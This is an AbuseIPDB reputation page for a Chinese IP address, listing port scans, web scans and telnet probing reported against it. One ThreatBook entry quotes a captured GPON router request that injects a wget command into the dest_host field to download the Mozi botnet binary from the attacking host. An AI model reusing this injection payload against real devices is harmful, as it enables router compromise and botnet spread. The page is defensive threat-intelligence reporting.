AbuseIPDB » 119.189.226.104

119.189.226.104 was found in our database!

This IP was reported 18 times. Confidence of Abuse is 44%: ?

44%

ISP	China Unicom Shandong Province Network
Usage Type	Fixed Line ISP
ASN	AS4837
Domain Name	chinaunicom.cn
Country	China
City	Shanghai, Shanghai

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated biweekly.

Report 119.189.226.104

Whois 119.189.226.104

IP Abuse Reports for 119.189.226.104:

This IP address has been reported a total of 18 times from 9 distinct sources. 119.189.226.104 was first reported on June 15th 2025, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp in UTC	Comment	Categories
Anonymous	2025-06-28 00:06:30 (1 week ago)	Aggressive web scan	SQL Injection Bad Web Bot Web App Attack
MPL	2025-06-27 08:19:31 (1 week ago)	tcp/23 (2 or more attempts)	Port Scan
Anonymous	2025-06-26 00:04:08 (1 week ago)	Aggressive web scan	SQL Injection Bad Web Bot Web App Attack
MPL	2025-06-25 08:13:07 (1 week ago)	tcp/23 (2 or more attempts)	Port Scan
Anonymous	2025-06-25 00:04:02 (1 week ago)	Aggressive web scan	SQL Injection Bad Web Bot Web App Attack
MPL	2025-06-24 15:46:45 (2 weeks ago)	tcp/23	Port Scan
ThreatBook.io	2025-06-23 23:15:55 (2 weeks ago)	ThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/119.189.226.104< ... show moreThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/119.189.226.104 2025-06-23 04:54:12 /GponForm/diag_Form?images/,{"body":"XWebPageName=diag\u0026diag_action=ping\u0026wan_conlist=0\u0026dest_host=``;wget+http://119.189.226.104:52489/Mozi.m+-O+-\u003e/tmp/gpon8","content_type":"","header":{"Accept":["*/*"],"Accept-Encoding":["gzip, deflate"],"Connection":["keep-alive"],"Content-Length":["118"],"User-Agent":["Hello, World"]},"host":"127.0.0.1:8080","method":"POST","proto":"HTTP/1.1","remote_addr":"119.189.226.104:37743","status_code":200,"url":"/GponForm/diag_Form?images/","user_agent":"Hello, World"} show less	Web App Attack
Anonymous	2025-06-22 00:04:31 (2 weeks ago)	Aggressive web scan	SQL Injection Bad Web Bot Web App Attack
Anonymous	2025-06-21 00:03:39 (2 weeks ago)	Aggressive web scan	SQL Injection Bad Web Bot Web App Attack
sumnone	2025-06-19 09:24:55 (2 weeks ago)	Port probing on unauthorized port 2323	Port Scan Hacking Exploited Host
RAP	2025-06-19 08:06:28 (2 weeks ago)	2025-06-19 08:06:28 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
Pingu	2025-06-19 05:36:18 (2 weeks ago)	Blocked by UFW on ropanel1 [23/tcp] Source port: 6310 TTL: 42 Packet length: 40<br ... show moreBlocked by UFW on ropanel1 [23/tcp] Source port: 6310 TTL: 42 Packet length: 40 TOS: 0x00 show less	Port Scan Brute-Force IoT Targeted
Anonymous	2025-06-19 00:05:49 (2 weeks ago)	Aggressive web scan	SQL Injection Bad Web Bot Web App Attack
ThreatBook.io	2025-06-18 23:29:57 (2 weeks ago)	ThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/119.189.226.104	SSH
cybsecaoccol	2025-06-18 16:03:25 (2 weeks ago)	unauthorized connection or malicious port scan attempted on tcp port 23 - sch	Port Scan Hacking

Is this your IP? You may request to takedown any associated reports. We will attempt to verify your ownership. Request Takedown 🚩